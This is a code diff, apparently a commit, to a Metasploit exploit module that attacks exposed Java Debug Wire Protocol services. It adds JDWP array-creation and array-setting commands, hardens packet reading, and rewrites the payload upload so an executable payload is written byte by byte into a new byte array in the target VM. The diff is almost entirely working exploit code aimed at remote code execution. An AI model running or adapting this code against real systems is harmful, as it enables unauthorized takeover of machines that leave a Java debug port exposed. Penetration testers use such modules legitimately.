@@ -34,13 +34,15 @@ class Metasploit3 < Msf::Exploit::Remote
34
34
SETSTATICVALUES_SIG = [ 3 , 2 ]
35
35
INVOKESTATICMETHOD_SIG = [ 3 , 3 ]
36
36
CREATENEWINSTANCE_SIG = [ 3 , 4 ]
37
+ ARRAYNEWINSTANCE_SIG = [ 4 , 1 ]
37
38
REFERENCETYPE_SIG = [ 9 , 1 ]
38
39
INVOKEMETHOD_SIG = [ 9 , 6 ]
39
40
STRINGVALUE_SIG = [ 10 , 1 ]
40
41
THREADNAME_SIG = [ 11 , 1 ]
41
42
THREADSUSPEND_SIG = [ 11 , 2 ]
42
43
THREADRESUME_SIG = [ 11 , 3 ]
43
44
THREADSTATUS_SIG = [ 11 , 4 ]
45
+ ARRAYSETVALUES_SIG = [ 13 , 3 ]
44
46
EVENTSET_SIG = [ 15 , 1 ]
45
47
EVENTCLEAR_SIG = [ 15 , 2 ]
46
48
EVENTCLEARALL_SIG = [ 15 , 3 ]
@@ -173,13 +175,30 @@ def create_packet(cmdsig, data="")
173
175
174
176
# Reads packet response for JDWP protocol
175
177
def read_reply ( timeout = default_timeout )
176
- response = sock . get_once ( -1 , timeout )
178
+ length = sock . get_once ( 4 , timeout )
179
+ fail_with ( Failure ::TimeoutExpired , "#{ peer } - Not received response length" ) unless length
180
+ pkt_len = length . unpack ( 'N' ) [ 0 ]
181
+ if pkt_len < 4
182
+ fail_with ( Failure ::Unknown , "#{ peer } - Received corrupted response" )
183
+ end
184
+ pkt_len = pkt_len - 4
185
+
186
+ response = sock . get_once ( pkt_len , timeout )
177
187
fail_with ( Failure ::TimeoutExpired , "#{ peer } - Not received response" ) unless response
178
- pktlen , id , flags , errcode = response . unpack ( 'NNCn' )
179
- response . slice! ( 0 ..10 )
180
- if errcode != 0 && flags == REPLY_PACKET_TYPE
181
- fail_with ( Failure ::Unknown , "#{ peer } - Server sent error with code #{ errcode } " )
188
+ while response . length < pkt_len
189
+ partial = sock . get_once ( pkt_len , timeout )
190
+ fail_with ( Failure ::TimeoutExpired , "#{ peer } - Not received response" ) unless partial
191
+ response << partial
192
+ end
193
+
194
+ fail_with ( Failure ::Unknown , "#{ peer } - Received corrupted response" ) unless response . length == pkt_len
195
+
196
+ id , flags , err_code = response . unpack ( 'NCn' )
197
+ response . slice! ( 0 ..6 )
198
+ if err_code != 0 && flags == REPLY_PACKET_TYPE
199
+ fail_with ( Failure ::Unknown , "#{ peer } - Server sent error with code #{ err_code } " )
182
200
end
201
+
183
202
response
184
203
end
185
204
@@ -322,10 +341,6 @@ def version
322
341
"#{ @vars [ "vm_name" ] } - #{ @vars [ "vm_version" ] } "
323
342
end
324
343
325
- def is_java_eight
326
- version . downcase =~ /1[.]8[.]/
327
- end
328
-
329
344
# Returns reference for all threads currently running on target VM
330
345
def get_all_threads
331
346
sock . put ( create_packet ( ALLTHREADS_SIG ) )
@@ -630,6 +645,36 @@ def create_instance(class_id, thread_id, meth_id, args = [])
630
645
buf
631
646
end
632
647
648
+ # Creates a byte[]
649
+ def create_array ( len )
650
+ target_class = get_class_by_name ( "[B" )
651
+ fail_with ( Failure ::Unknown , "target_class is nil" ) if target_class . nil?
652
+
653
+ type_id = target_class [ "reftype_id" ]
654
+ fail_with ( Failure ::Unknown , "type_id is nil" ) if type_id . nil?
655
+
656
+ data = format ( @vars [ "referencetypeid_size" ] , type_id )
657
+ data << [ len ] . pack ( 'N' )
658
+
659
+ sock . put ( create_packet ( ARRAYNEWINSTANCE_SIG , data ) )
660
+ buf = read_reply
661
+ buf
662
+ end
663
+
664
+ # Initializes the byte[] with values
665
+ def set_values ( obj_id , args = [ ] )
666
+ data = format ( @vars [ "objectid_size" ] , obj_id )
667
+ data << [ 0 ] . pack ( 'N' )
668
+ data << [ args . length ] . pack ( 'N' )
669
+
670
+ args . each do |arg |
671
+ data << [ arg ] . pack ( 'C' )
672
+ end
673
+
674
+ sock . put ( create_packet ( ARRAYSETVALUES_SIG , data ) )
675
+ read_reply
676
+ end
677
+
633
678
def temp_path
634
679
return nil unless datastore [ 'TMP_PATH' ]
635
680
unless datastore [ 'TMP_PATH' ] . end_with? ( '/' ) || datastore [ 'TMP_PATH' ] . end_with? ( '\\' )
@@ -709,43 +754,14 @@ def create_file(thread_id, filename)
709
754
# Stores the payload on a new string created in target VM
710
755
def upload_payload ( thread_id , pl_exe )
711
756
size = @vars [ "objectid_size" ]
712
- if is_java_eight
713
- runtime_class , runtime_meth = get_class_and_method ( "Ljava/util/Base64;" , "getDecoder" )
714
- buf = invoke_static ( runtime_class [ "reftype_id" ] , thread_id , runtime_meth [ "method_id" ] )
715
- else
716
- runtime_class , runtime_meth = get_class_and_method ( "Lsun/misc/BASE64Decoder;" , "<init>" )
717
- buf = create_instance ( runtime_class [ "reftype_id" ] , thread_id , runtime_meth [ "method_id" ] )
718
- end
719
- unless buf [ 0 ] == [ TAG_OBJECT ] . pack ( 'C' )
720
- fail_with ( Failure ::UnexpectedReply , "Unexpected returned type: expected Object" )
721
- end
722
-
723
- decoder = unformat ( size , buf [ 1 ..1 +size -1 ] )
724
- if decoder . nil? || decoder == 0
725
- fail_with ( Failure ::Unknown , "Failed to create Base64 decoder object" )
726
- end
727
-
728
- cmd_obj_ids = create_string ( "#{ Rex ::Text . encode_base64 ( pl_exe ) } " )
729
- if cmd_obj_ids . length == 0
730
- fail_with ( Failure ::Unknown , "Failed to allocate string for payload dumping" )
731
- end
732
757
733
- cmd_obj_id = cmd_obj_ids [ 0 ] [ "obj_id" ]
734
- data = [ TAG_OBJECT ] . pack ( 'C' )
735
- data << format ( size , cmd_obj_id )
736
- data_array = [ data ]
737
-
738
- if is_java_eight
739
- runtime_class , runtime_meth = get_class_and_method ( "Ljava/util/Base64$Decoder;" , "decode" , "(Ljava/lang/String;)[B" )
740
- else
741
- runtime_class , runtime_meth = get_class_and_method ( "Lsun/misc/CharacterDecoder;" , "decodeBuffer" , "(Ljava/lang/String;)[B" )
742
- end
743
- buf = invoke ( decoder , thread_id , runtime_class [ "reftype_id" ] , runtime_meth [ "method_id" ] , data_array )
744
- unless buf [ 0 ] == [ TAG_ARRAY ] . pack ( 'C' )
745
- fail_with ( Failure ::UnexpectedReply , "Unexpected returned type: expected ByteArray" )
746
- end
758
+ buf = create_array ( pl_exe . length )
759
+ fail_with ( Failure ::UnexpectedReply , "Unexpected returned type: expected Array" ) unless buf [ 0 ] == [ TAG_ARRAY ] . pack ( 'C' )
747
760
748
761
pl = unformat ( size , buf [ 1 ..1 +size -1 ] )
762
+ fail_with ( Failure ::Unknown , "Failed to create byte array to store payload" ) if pl . nil? || ( pl == 0 )
763
+
764
+ set_values ( pl , pl_exe . bytes )
749
765
pl
750
766
end
751
767
0 commit comments